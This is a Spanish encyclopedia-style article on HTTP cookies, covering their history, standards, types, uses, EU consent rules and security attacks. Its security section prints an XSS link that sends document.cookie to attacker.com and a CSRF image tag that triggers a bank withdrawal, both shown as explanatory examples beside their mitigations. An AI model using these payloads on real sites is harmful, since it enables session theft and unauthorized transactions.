Cookie HTTP

El término cookie fue acuñado por el programador de navegadores web Lou Montulli . Deriva del término magic cookie , que es un paquete de datos que un programa recibe y devuelve sin cambios, utilizado por los programadores de Unix . ^{[ 6 ] [ 7 ]}

Las cookies mágicas ya se utilizaban en informática cuando el programador Lou Montulli tuvo la idea de usarlas en comunicaciones web en junio de 1994. ^{[ 8 ]} En ese momento, era empleado de Netscape Communications , que estaba desarrollando una aplicación de comercio electrónico para MCI . Vint Cerf y John Klensin representaron a MCI en las discusiones técnicas con Netscape Communications. MCI no quería que sus servidores tuvieran que conservar estados de transacciones parciales, lo que los llevó a pedirle a Netscape que encontrara una manera de almacenar ese estado en la computadora de cada usuario. Las cookies proporcionaron una solución al problema de implementar de manera confiable un carrito de compras virtual . ^{[ 9 ] [ 10 ]}

Junto con John Giannandrea, Montulli escribió la especificación inicial de cookies de Netscape ese mismo año. La versión 0.9beta de Mosaic Netscape , publicada el 13 de octubre de 1994, ^{[ 11 ] [ 12 ]} admitía cookies. ^{[ 10 ]} El primer uso de cookies (fuera de los laboratorios) fue comprobar si los visitantes del sitio web de Netscape ya habían visitado el sitio. Montulli solicitó una patente para la tecnología de cookies en 1995, que fue concedida en 1998. ^{[ 13 ]} La compatibilidad con cookies se integró en Internet Explorer en la versión 2, publicada en octubre de 1995. ^{[ 14 ]}

La introducción de las cookies no era ampliamente conocida por el público en ese momento. En particular, las cookies se aceptaban por defecto y los usuarios no eran notificados de su presencia. ^{[ 15 ]} El público se enteró de las cookies después de que el Financial Times publicara un artículo sobre ellas el 12 de febrero de 1996. ^{[ 16 ]} Ese mismo año, las cookies recibieron mucha atención mediática, especialmente debido a las posibles implicaciones para la privacidad. Las cookies se discutieron en dos audiencias de la Comisión Federal de Comercio de EE. UU. en 1996 y 1997. ^{[ 2 ]}

El desarrollo de las especificaciones formales de cookies ya estaba en marcha. En particular, las primeras discusiones sobre una especificación formal comenzaron en abril de 1995 en la lista de correo www-talk . Se formó un grupo de trabajo especial dentro del Grupo de Trabajo de Ingeniería de Internet (IETF). Brian Behlendorf y David Kristol habían propuesto dos alternativas para introducir el estado en las transacciones HTTP . Pero el grupo, encabezado por el propio Kristol y Lou Montulli, pronto decidió utilizar la especificación de Netscape como punto de partida. En febrero de 1996, el grupo de trabajo identificó las cookies de terceros como una amenaza considerable para la privacidad. La especificación producida por el grupo se publicó finalmente como RFC 2109 en febrero de 1997. Esta especifica que las cookies de terceros no estaban permitidas en absoluto, o al menos no estaban habilitadas por defecto. ^{[ 17 ]} En ese momento, las empresas de publicidad ya estaban utilizando cookies de terceros. La recomendación sobre cookies de terceros de RFC 2109 no fue seguida por Netscape e Internet Explorer. El RFC 2109 fue sustituido por el RFC 2965 en octubre de 2000.

RFC 2965 agregó un Set-Cookie2campo de encabezado , que informalmente pasó a llamarse "cookies estilo RFC 2965" en contraposición al Set-Cookiecampo de encabezado original que se llamaba "cookies estilo Netscape". ^{[ 18 ] [ 19 ]}Set-Cookie2 sin embargo, rara vez se usó y fue obsoleto en RFC 6265 en abril de 2011, que fue escrito como una especificación definitiva para las cookies tal como se usan en el mundo real. ^{[ 20 ]} Ningún navegador moderno reconoce el Set-Cookie2campo de encabezado. ^{[ 21 ]}

Una cookie de sesión (también conocida como cookie en memoria , cookie transitoria o cookie no persistente ) existe solo en la memoria temporal mientras el usuario navega por un sitio web. ^{[ 22 ]} Las cookies de sesión caducan o se eliminan cuando el usuario cierra el navegador web. ^{[ 23 ]} El navegador identifica las cookies de sesión por la ausencia de una fecha de caducidad asignada.

Una cookie persistente caduca en una fecha específica o tras un periodo de tiempo determinado. Durante el periodo de validez establecido por su creador, la información de la cookie se transmitirá al servidor cada vez que el usuario visite el sitio web al que pertenece o cada vez que acceda a un recurso de dicho sitio web desde otro sitio web (como un anuncio).

Por este motivo, las cookies persistentes a veces se denominan cookies de seguimiento ^{[ 24 ] [ 25 ]} porque los anunciantes pueden utilizarlas para registrar información sobre los hábitos de navegación web de un usuario durante un período prolongado. Las cookies persistentes también se utilizan para mantener a los usuarios conectados a sus cuentas en los sitios web, evitando así que tengan que volver a introducir sus credenciales en cada visita.

Una cookie segura solo puede transmitirse a través de una conexión cifrada (es decir, HTTPS ). No se pueden transmitir a través de conexiones no cifradas (es decir, HTTP ). Esto reduce la probabilidad de que la cookie sea robada mediante interceptación . Una cookie se vuelve segura al agregarle una Securebandera.

Una cookie http-only no puede ser accedida por las API del lado del cliente, como JavaScript . Esta restricción elimina la amenaza de robo de cookies mediante secuencias de comandos entre sitios (XSS). ^{[ 26 ]} Sin embargo, la cookie sigue siendo vulnerable a ataques de rastreo entre sitios (XST) y falsificación de solicitudes entre sitios (CSRF). Esta característica se le otorga a una cookie añadiéndole la HttpOnlybandera.

En 2016, Google Chrome versión 51 introdujo ^{[ 27 ]} un nuevo tipo de cookie con atributo SameSitecon posibles valores de Strict, Laxo None. ^{[ 28 ]} Con el atributo SameSite=Strict, los navegadores solo enviarían cookies a un dominio de destino que sea el mismo que el dominio de origen. Esto mitigaría eficazmente los ataques de falsificación de solicitudes entre sitios (CSRF). Con SameSite=Lax, los navegadores enviarían cookies con solicitudes a un dominio de destino incluso si es diferente del dominio de origen, pero solo para solicitudes seguras como GET (POST no es seguro) y no cookies de terceros (dentro de un iframe). El atributo SameSite=Nonepermitiría cookies de terceros (entre sitios), sin embargo, la mayoría de los navegadores requieren el atributo seguro en las cookies SameSite=None. ^{[ 29 ]}

La cookie Same-site se incorpora a un nuevo borrador de RFC para "Cookies: Mecanismo de gestión de estado HTTP" ^{[ 30 ]} para actualizar RFC 6265 (si se aprueba).

Chrome, Firefox y Edge comenzaron a admitir cookies Same-site. La clave del despliegue radica en el tratamiento de las cookies existentes sin el atributo SameSite definido. Chrome las ha estado tratando como si SameSite=None, lo que permitiría que todos los sitios web y aplicaciones funcionaran como antes. Google tenía previsto cambiar este comportamiento predeterminado SameSite=Laxen Chrome 80, cuyo lanzamiento estaba previsto para febrero de 2020, ^{[ 31 ]} pero debido al potencial de fallos en las aplicaciones y sitios web que dependen de cookies de terceros y de sitios cruzados, y a las circunstancias de la COVID-19 , Google pospuso este cambio a Chrome 84. ^{[ 32 ] [ 33 ]}

Una supercookie es una cookie con origen en un dominio de nivel superior (como .com) o un sufijo público (como .co.uk). Las cookies ordinarias, por el contrario, tienen como origen un nombre de dominio específico, como example.com.

Las supercookies pueden suponer un riesgo potencial para la seguridad y, por lo tanto, los navegadores web suelen bloquearlas. Si el navegador las desbloquea, un atacante que controle un sitio web malicioso podría establecer una supercookie y potencialmente interrumpir o suplantar las solicitudes legítimas de los usuarios a otro sitio web que comparta el mismo dominio de nivel superior o sufijo público que el sitio web malicioso. Por ejemplo, una supercookie con un origen .compodría afectar maliciosamente una solicitud realizada a example.com, incluso si la cookie no se originó en example.com. Esto puede utilizarse para falsificar inicios de sesión o cambiar la información del usuario.

La Lista Pública de Sufijos ^{[ 34 ]} ayuda a mitigar el riesgo que representan las supercookies. Esta lista es una iniciativa de varios proveedores que busca proporcionar una lista precisa y actualizada de sufijos de nombres de dominio. Es posible que las versiones antiguas de los navegadores no tengan una lista actualizada y, por lo tanto, sean vulnerables a las supercookies de ciertos dominios. ^{[ 35 ]}

Una cookie zombie es un conjunto de datos y código que un servidor web ha colocado en el ordenador u otro dispositivo de un visitante en una ubicación oculta fuera del área de almacenamiento de cookies del navegador del visitante , y que recrea automáticamente una cookie HTTP como una cookie normal después de que la cookie original haya sido eliminada. La cookie zombie puede almacenarse en múltiples ubicaciones, como el objeto compartido local de Flash , el almacenamiento web de HTML5 y otras ubicaciones del lado del cliente e incluso del servidor, y cuando se detecta su ausencia en una de las ubicaciones, la instancia faltante se recrea mediante el código JavaScript utilizando los datos almacenados en otras ubicaciones. ^{[ 39 ] [ 40 ]}

Las cookies se introdujeron originalmente para que los usuarios pudieran registrar los artículos que deseaban comprar mientras navegaban por un sitio web (un carrito de compras virtual o cesta de la compra ). ^{[ 9 ] [ 10 ]} Sin embargo, hoy en día, el contenido del carrito de compras de un usuario se suele almacenar en una base de datos en el servidor, en lugar de en una cookie en el cliente. Para llevar un registro de qué usuario está asignado a qué carrito de compras, el servidor envía una cookie al cliente que contiene un identificador de sesión único (normalmente, una larga cadena de letras y números aleatorios). Dado que las cookies se envían al servidor con cada solicitud que realiza el cliente, ese identificador de sesión se enviará de vuelta al servidor cada vez que el usuario visite una nueva página del sitio web, lo que le permite al servidor saber qué carrito de compras mostrar al usuario.

Otro uso común de las cookies es para iniciar sesión en sitios web. Cuando el usuario visita la página de inicio de sesión de un sitio web, el servidor web suele enviarle una cookie con un identificador de sesión único. Una vez que el usuario inicia sesión correctamente, el servidor recuerda que ese identificador de sesión específico ha sido autenticado y le otorga acceso a sus servicios.

Dado que las cookies de sesión solo contienen un identificador de sesión único, la cantidad de información personal que un sitio web puede guardar sobre cada usuario es prácticamente ilimitada; el sitio web no está sujeto a restricciones en cuanto al tamaño de las cookies. Las cookies de sesión también ayudan a mejorar los tiempos de carga de las páginas, ya que la información que contienen es pequeña y requiere poco ancho de banda.

Las cookies se pueden usar para recordar información sobre el usuario y así mostrarle contenido relevante a lo largo del tiempo. Por ejemplo, un servidor web podría enviar una cookie con el nombre de usuario utilizado la última vez para iniciar sesión en un sitio web, de modo que se complete automáticamente la próxima vez que el usuario inicie sesión.

Muchos sitios web utilizan cookies para personalizar la experiencia según las preferencias del usuario. Los usuarios seleccionan sus preferencias introduciéndolas en un formulario web y enviándolo al servidor. El servidor codifica las preferencias en una cookie y la envía de vuelta al navegador. De esta forma, cada vez que el usuario accede a una página del sitio web, el servidor puede personalizarla según sus preferencias. Por ejemplo, el buscador de Google utilizaba cookies para permitir a los usuarios (incluso a los no registrados) decidir cuántos resultados de búsqueda querían ver por página. Asimismo, DuckDuckGo utiliza cookies para permitir a los usuarios configurar preferencias de visualización, como los colores de la página web.

Las cookies de seguimiento se utilizan para rastrear los hábitos de navegación web de los usuarios. Esto también se puede hacer, hasta cierto punto, utilizando la dirección IP del ordenador que solicita la página o el campo "referer" del encabezado de la solicitud HTTP , pero las cookies permiten una mayor precisión. Esto se puede demostrar de la siguiente manera:

1. Si el usuario solicita una página del sitio, pero la solicitud no contiene ninguna cookie, el servidor asume que es la primera página que visita. Por lo tanto, el servidor crea un identificador único (normalmente una cadena de letras y números aleatorios) y lo envía como cookie al navegador junto con la página solicitada.
2. A partir de este momento, el navegador enviará automáticamente la cookie al servidor cada vez que se solicite una nueva página del sitio. El servidor no solo envía la página como de costumbre, sino que también almacena la URL de la página solicitada, la fecha y hora de la solicitud y la cookie en un archivo de registro.

Analizando este archivo de registro, es posible descubrir qué páginas ha visitado el usuario, en qué secuencia y durante cuánto tiempo.

Las corporaciones explotan los hábitos de navegación de los usuarios mediante el seguimiento de cookies para recopilar información sobre sus hábitos de compra. El Wall Street Journal descubrió que los cincuenta sitios web más importantes de Estados Unidos instalaron un promedio de sesenta y cuatro dispositivos de seguimiento en sus computadoras, lo que generó un total de 3180 archivos de seguimiento. ^{[ 44 ]} Estos datos pueden recopilarse y venderse a empresas interesadas.

Las cookies se establecen mediante el Set-Cookiecampo de encabezado que se envía en una respuesta HTTP desde el servidor web. Este campo de encabezado indica al navegador web que almacene la cookie y la envíe de vuelta en futuras solicitudes al servidor (el navegador ignorará este campo de encabezado si no admite cookies o las tiene deshabilitadas).

Como ejemplo, el navegador envía su primera solicitud HTTP para la página de inicio del www.example.orgsitio web:

GET /index.html HTTP / 1.1 Host : www.example.org ...

El servidor responde con dos Set-Cookiecampos de encabezado:

HTTP / 1.0 200 OK Content-type : text/html Set-Cookie : theme=light Set-Cookie : sessionToken=abc123; Expires=Wed, 9 Jun 2021 10:18:14 GMT ...

La respuesta HTTP del servidor contiene el contenido de la página de inicio del sitio web. Además, indica al navegador que establezca dos cookies. La primera, theme , se considera una cookie de sesión, ya que no tiene el atributo Expiresni Max-Age. Las cookies de sesión se eliminan automáticamente al cerrar el navegador. La segunda, sessionToken , se considera una cookie persistente , ya que contiene un Expiresatributo que indica al navegador que la elimine en una fecha y hora específicas.

A continuación, el navegador envía otra solicitud para visitar la spec.htmlpágina del sitio web. Esta solicitud contiene un Cookiecampo de encabezado que incluye las dos cookies que el servidor le indicó al navegador que estableciera:

GET /spec.html HTTP / 1.1 Host : www.example.org Cookie : theme=light; sessionToken=abc123 ...

De esta forma, el servidor sabe que esta solicitud HTTP está relacionada con la anterior. El servidor respondería enviando la página solicitada, posiblemente incluyendo más Set-Cookiecampos de encabezado en la respuesta HTTP para indicarle al navegador que agregue nuevas cookies, modifique las existentes o elimine las existentes. Para eliminar una cookie, el servidor debe incluir un Set-Cookiecampo de encabezado con una fecha de vencimiento anterior.

El valor de una cookie puede consistir en cualquier carácter ASCII! imprimible ( desde ~, Unicode\u0021 desde \u007E) excluyendo ,y; y los caracteres de espacio en blanco . El nombre de una cookie excluye los mismos caracteres, así como =, ya que este último actúa como delimitador entre el nombre y el valor. El estándar de cookies RFC 2965 es más restrictivo, pero no está implementado por los navegadores.

El término miga de galleta se usa a veces para referirse al par nombre-valor de una cookie. ^{[ 47 ]}

Las cookies también pueden ser establecidas por lenguajes de scripting como JavaScript que se ejecutan dentro del navegador. En JavaScript, el objeto document.cookiese utiliza para este propósito. Por ejemplo, la instrucción document.cookie = "temperature=20"crea una cookie con el nombre ^temperature y el valor 20. ^{[ 48} ]

Además de un nombre y un valor, las cookies pueden tener uno o más atributos. Los navegadores no incluyen los atributos de las cookies en las solicitudes al servidor; solo envían el nombre y el valor de la cookie. Los navegadores utilizan los atributos de las cookies para determinar cuándo eliminar una cookie, bloquearla o enviarla al servidor.

HTTP / 1.0 200 OK Set-Cookie : LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly Set-Cookie : SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly ...

HTTP / 1.0 200 OK Set-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Mar, 15 Ene 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly Set-Cookie : made_write_conn=1295214458; Path=/; Domain=.example.com Set-Cookie : reg_fb_gate=deleted; Expires=Thu, 1 Ene 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

En 2002, la Unión Europea lanzó la Directiva sobre privacidad y comunicaciones electrónicas (Directiva sobre privacidad electrónica), una política que exige el consentimiento de los usuarios finales para la instalación de cookies y tecnologías similares para almacenar y acceder a información en los equipos de los usuarios. ^{[ 73 ] [ 74 ]} En particular, el artículo 5, párrafo 3, establece que el almacenamiento de datos técnicamente innecesarios en el ordenador de un usuario solo puede realizarse si se le proporciona información sobre cómo se utilizan estos datos y se le da la posibilidad de rechazar esta operación de almacenamiento. La Directiva no exige que los usuarios autoricen o reciban notificación del uso de cookies que sean funcionalmente necesarias para prestar un servicio que hayan solicitado, por ejemplo, para conservar la configuración, almacenar las sesiones de inicio de sesión o recordar el contenido de la cesta de la compra del usuario. ^{[ 75 ]}

En 2009, la ley fue modificada por la Directiva 2009/136/CE, que incluyó un cambio en el artículo 5, párrafo 3. En lugar de ofrecer a los usuarios la opción de rechazar el almacenamiento de cookies, la Directiva revisada exige la obtención del consentimiento para dicho almacenamiento. ^{[ 74 ]} La definición de consentimiento se remite a la definición de la legislación europea de protección de datos, en primer lugar la Directiva de Protección de Datos de 1995 y, posteriormente, el Reglamento General de Protección de Datos (RGPD). Dado que la definición de consentimiento se reforzó en el texto del RGPD, se incrementó la calidad del consentimiento exigido a quienes almacenan y acceden a información como las cookies en los dispositivos de los usuarios. Sin embargo, en un caso resuelto en virtud de la Directiva de Protección de Datos, el Tribunal de Justicia de la Unión Europea confirmó posteriormente que la legislación anterior implicaba la misma calidad de consentimiento que el instrumento actual. ^{[ 76 ]} Además del requisito de consentimiento que se deriva del almacenamiento o acceso a información en el dispositivo terminal de un usuario, la información contenida en muchas cookies se considerará datos personales en virtud del RGPD y requerirá una base jurídica para su tratamiento. Esto ha sido así desde la Directiva de Protección de Datos de 1995, que utilizaba una definición idéntica de datos personales, si bien el RGPD, en el considerando interpretativo 30, aclara que los identificadores de cookies están incluidos. Aunque no todo tratamiento de datos según el RGPD requiere consentimiento, las características de la publicidad conductual hacen que sea difícil o imposible justificarla por cualquier otro motivo. ^{[ 77 ] [ 78 ]}

El consentimiento bajo la combinación del RGPD y la Directiva sobre privacidad electrónica debe cumplir una serie de condiciones en relación con las cookies. ^{[ 79 ]} Debe ser otorgado libremente y sin ambigüedades: las casillas premarcadas fueron prohibidas tanto por la Directiva de Protección de Datos de 1995 ^{[ 76 ]} como por el RGPD (Considerando 32). ^{[ 80 ]} El RGPD especifica que el consentimiento debe ser tan «fácil de retirar como de otorgar», ^{[ 80 ]} lo que significa que un botón de «rechazar todo» debe ser tan fácil de acceder en términos de clics y visibilidad como un botón de «aceptar todo». ^{[ 79 ]} Debe ser específico e informado, lo que significa que el consentimiento se relaciona con fines particulares para el uso de estos datos, y todas las organizaciones que buscan utilizar este consentimiento deben ser nombradas específicamente. ^{[ 81 ] [ 82 ]} El Tribunal de Justicia de la Unión Europea también ha dictaminado que el consentimiento debe ser «eficiente y oportuno», lo que significa que debe obtenerse antes de que se instalen las cookies y comience el procesamiento de datos, en lugar de después. ^{[ 83 ]}

La respuesta del sector ha sido mayoritariamente negativa. Robert Bond, del bufete Speechly Bircham, describe los efectos como «de gran alcance e increíblemente onerosos» para «todas las empresas del Reino Unido». Simon Davis, de Privacy International, sostiene que una aplicación adecuada «destruiría todo el sector». ^{[ 84 ]} Sin embargo, los expertos señalan que la naturaleza onerosa de las ventanas emergentes de cookies se debe al intento de mantener un modelo de negocio mediante solicitudes complejas que pueden ser incompatibles con el RGPD. ^{[ 77 ]}

Tanto los estudios académicos como los organismos reguladores describen un incumplimiento generalizado de la ley. Un estudio que analizó 10 000 sitios web del Reino Unido encontró que solo el 11,8 % de los sitios cumplían con los requisitos legales mínimos, y solo el 33,4 % de los sitios web estudiados proporcionaban un mecanismo para rechazar las cookies que fuera tan fácil de usar como aceptarlas. ^{[ 79 ]} Un estudio de 17 000 sitios web encontró que el 84 % de los sitios incumplían este criterio, y encontró además que muchos colocaban cookies de terceros sin ningún aviso. ^{[ 85 ]} El organismo regulador del Reino Unido, la Oficina del Comisionado de Información , declaró en 2019 que el "Marco de Transparencia y Consentimiento" de la industria, del grupo de tecnología publicitaria Interactive Advertising Bureau, era "insuficiente para garantizar la transparencia y el procesamiento justo de los datos personales en cuestión y, por lo tanto, también insuficiente para proporcionar un consentimiento libre e informado, con las consiguientes implicaciones para el cumplimiento de la PECR [e-Privacy]". ^{[ 81 ]} Muchas empresas que venden soluciones de cumplimiento (Plataformas de Gestión de Consentimiento) permiten que se configuren de maneras manifiestamente ilegales, lo que, según han señalado los académicos, plantea interrogantes sobre la asignación adecuada de responsabilidad. ^{[ 86 ]}

Se propuso una especificación del W3C llamada P3P para que los servidores comunicaran su política de privacidad a los navegadores, permitiendo un manejo automático y configurable por el usuario. Sin embargo, pocos sitios web implementan la especificación, y el W3C ha interrumpido el trabajo en ella. ^{[ 87 ]}

La mayoría de los navegadores pueden bloquear las cookies de terceros para aumentar la privacidad y reducir el seguimiento por parte de las empresas de publicidad y seguimiento sin afectar negativamente la experiencia web del usuario en todos los sitios. Algunos sitios utilizan «muros de cookies», que condicionan el acceso a un sitio a permitir las cookies, ya sea técnicamente en un navegador, pulsando «aceptar», o ambas cosas. ^{[ 88 ]} En 2020, el Comité Europeo de Protección de Datos , compuesto por todos los reguladores de protección de datos de la UE, declaró que los muros de cookies eran ilegales.

Para que el consentimiento se otorgue libremente, el acceso a los servicios y funcionalidades no debe estar condicionado al consentimiento del usuario para el almacenamiento de información, o para el acceso a información ya almacenada, en el equipo terminal del usuario (los llamados muros de cookies). ^{[ 89 ]}

Muchos operadores publicitarios ofrecen la opción de exclusión voluntaria de la publicidad conductual, mediante una cookie genérica en el navegador que la bloquea. ^{[ 90 ] [ 91 ]} Sin embargo, esto suele ser ineficaz contra muchas formas de seguimiento, como el seguimiento de origen, que está ganando popularidad para evitar el impacto del bloqueo de cookies de terceros por parte de los navegadores. ^{[ 92 ] [ 93 ]} Además, si esta configuración es más difícil de establecer que la aceptación del seguimiento, sigue infringiendo las condiciones de la Directiva sobre privacidad electrónica. ^{[ 79 ]}

El tráfico en una red puede ser interceptado y leído por ordenadores de la red distintos del remitente y el receptor (especialmente en redes Wi-Fi abiertas y sin cifrar ). Este tráfico incluye las cookies enviadas en sesiones HTTP ordinarias sin cifrar . Cuando el tráfico de red no está cifrado, los atacantes pueden, por lo tanto, leer las comunicaciones de otros usuarios de la red, incluidas las cookies HTTP, así como el contenido completo de las conversaciones, con el fin de realizar un ataque de intermediario (man-in-the-middle) .

Un atacante podría utilizar las cookies interceptadas para suplantar la identidad de un usuario y realizar una tarea maliciosa, como transferir dinero de la cuenta bancaria de la víctima.

Este problema se puede resolver protegiendo la comunicación entre el ordenador del usuario y el servidor mediante el protocolo HTTPS ( Transport Layer Security ) para cifrar la conexión. Un servidor puede especificar una bandera al configurar una cookie, lo que hará que el navegador envíe la cookie únicamente a través de un canal cifrado, como una conexión TLS. ^{[ 45 ]}Secure

Si un atacante logra que un servidor DNS almacene en caché una entrada DNS falsificada (lo que se conoce como envenenamiento de caché DNS ), podría obtener acceso a las cookies de un usuario. Por ejemplo, un atacante podría usar el envenenamiento de caché DNS para crear una entrada DNS falsificada que f12345.www.example.comapunte a la dirección IP de su servidor. Luego, podría publicar una URL de imagen desde su propio servidor (por ejemplo, http://f12345.www.example.com/img_4_cookie.jpg). Las víctimas que lean el mensaje del atacante descargarían esta imagen desde f12345.www.example.com. Dado que f12345.www.example.comes un subdominio de www.example.com, los navegadores de las víctimas enviarían todas example.comlas cookies relacionadas con al servidor del atacante.

Si un atacante logra esto, generalmente es culpa de los proveedores de servicios de Internet por no proteger adecuadamente sus servidores DNS. Sin embargo, la gravedad de este ataque puede disminuir si el sitio web objetivo utiliza cookies seguras. En este caso, el atacante tendría el desafío adicional ^{[ 94 ]} de obtener el certificado TLS del sitio web objetivo de una autoridad de certificación , ya que las cookies seguras solo pueden transmitirse a través de una conexión cifrada. Sin un certificado TLS coincidente, los navegadores de las víctimas mostrarían un mensaje de advertencia sobre el certificado no válido del atacante, lo que ayudaría a disuadir a los usuarios de visitar el sitio web fraudulento del atacante y enviarle sus cookies.

Las cookies también pueden ser robadas mediante una técnica llamada secuencias de comandos entre sitios (XSS). Esto ocurre cuando un atacante se aprovecha de un sitio web que permite a sus usuarios publicar contenido HTML y JavaScript sin filtrar . Al publicar código HTML y JavaScript malicioso, el atacante puede lograr que el navegador web de la víctima envíe sus cookies a un sitio web controlado por el atacante.

Por ejemplo, un atacante podría publicar un mensaje www.example.comcon el siguiente enlace:

<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;"> ¡ Haz clic aquí ! </a>​​​​​​

Cuando otro usuario hace clic en este enlace, el navegador ejecuta el fragmento de código dentro del onclickatributo, reemplazando así la cadena document.cookiecon la lista de cookies accesibles desde la página actual. Como resultado, esta lista de cookies se envía al attacker.comservidor. Si la publicación maliciosa del atacante se encuentra en un sitio web HTTPS https://www.example.com, las cookies seguras también se enviarán a attacker.com en texto plano.

Es responsabilidad de los desarrolladores del sitio web filtrar ese código malicioso.

Estos ataques pueden mitigarse mediante el uso de cookies HttpOnly. Estas cookies no serán accesibles para lenguajes de programación del lado del cliente como JavaScript, por lo que el atacante no podrá obtenerlas.

En versiones anteriores de muchos navegadores, existían vulnerabilidades de seguridad en la implementación de la API XMLHttpRequest . Esta API permite que las páginas especifiquen un servidor proxy que recibirá la respuesta, y este servidor proxy no está sujeto a la política del mismo origen . Por ejemplo, una víctima está leyendo una publicación de un atacante en www.example.com, y el script del atacante se ejecuta en el navegador de la víctima. El script genera una solicitud a www.example.comcon el servidor proxy attacker.com. Dado que la solicitud es para www.example.com, todas example.comlas cookies se enviarán junto con la solicitud, pero enrutadas a través del servidor proxy del atacante. Por lo tanto, el atacante podría obtener las cookies de la víctima.

Este ataque no funcionaría con cookies seguras, ya que solo se pueden transmitir mediante conexiones HTTPS , y el protocolo HTTPS exige cifrado de extremo a extremo (es decir, la información se cifra en el navegador del usuario y se descifra en el servidor de destino). En este caso, el servidor proxy solo vería los bytes cifrados de la solicitud HTTP.

Por ejemplo, Bob podría estar navegando por un foro de chat donde otra usuaria, Mallory, ha publicado un mensaje. Supongamos que Mallory ha creado un elemento de imagen HTML que hace referencia a una acción en el sitio web del banco de Bob (en lugar de un archivo de imagen), por ejemplo,

<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >

Si el banco de Bob guarda su información de autenticación en una cookie, y si la cookie no ha caducado, entonces el intento del navegador de Bob de cargar la imagen enviará el formulario de retiro con su cookie, autorizando así una transacción sin la aprobación de Bob.

El cookiejacking es un ataque contra Internet Explorer que permite al atacante robar las cookies de sesión de un usuario engañándolo para que arrastre un objeto por la pantalla. ^{[ 95 ]} Microsoft consideró que la vulnerabilidad era de bajo riesgo debido al "nivel de interacción del usuario requerido" ^{[ 95 ]} y a la necesidad de que el usuario ya hubiera iniciado sesión en el sitio web cuya cookie se roba. ^{[ 96 ]} A pesar de esto, un investigador probó el ataque en 150 de sus amigos de Facebook y obtuvo las cookies de 80 de ellos mediante ingeniería social . ^{[ 95 ]}

Si se utiliza más de un navegador en un ordenador, cada uno suele tener un área de almacenamiento independiente para las cookies. Por lo tanto, las cookies no identifican a una persona, sino una combinación de una cuenta de usuario, un ordenador y un navegador web. Así pues, cualquier persona que utilice varias cuentas, ordenadores o navegadores tendrá varios conjuntos de cookies. ^{[ 99 ]}

Del mismo modo, las cookies no distinguen entre varios usuarios que comparten la misma cuenta de usuario , ordenador y navegador.

Algunos navegadores web admiten mecanismos de persistencia que permiten a la página almacenar la información localmente para su uso posterior.

El estándar HTML5 (que la mayoría de los navegadores web modernos admiten en cierta medida) incluye una API de JavaScript llamada Almacenamiento web que permite dos tipos de almacenamiento: almacenamiento local y almacenamiento de sesión. El almacenamiento local se comporta de forma similar a las cookies persistentes, mientras que el almacenamiento de sesión se comporta de forma similar a las cookies de sesión , excepto que el almacenamiento de sesión está vinculado a la vida útil de una pestaña/ventana individual (también conocida como sesión de página), no a una sesión completa del navegador como las cookies de sesión. ^{[ 103 ]}

Internet Explorer admite información persistente ^{[ 104 ]} en el historial del navegador, en los favoritos del navegador, en un almacén XML ("datos de usuario") o directamente dentro de una página web guardada en el disco.

Algunos complementos de navegadores web también incluyen mecanismos de persistencia. Por ejemplo, Adobe Flash tiene objetos compartidos locales y Microsoft Silverlight tiene almacenamiento aislado. ^{[ 105 ]}

• Anónimo, 2011. Ataque de secuestro de cookies roba credenciales de acceso a sitios web. Informationweek - Online, pp.  Informationweek - Online, 26 de mayo de 2011.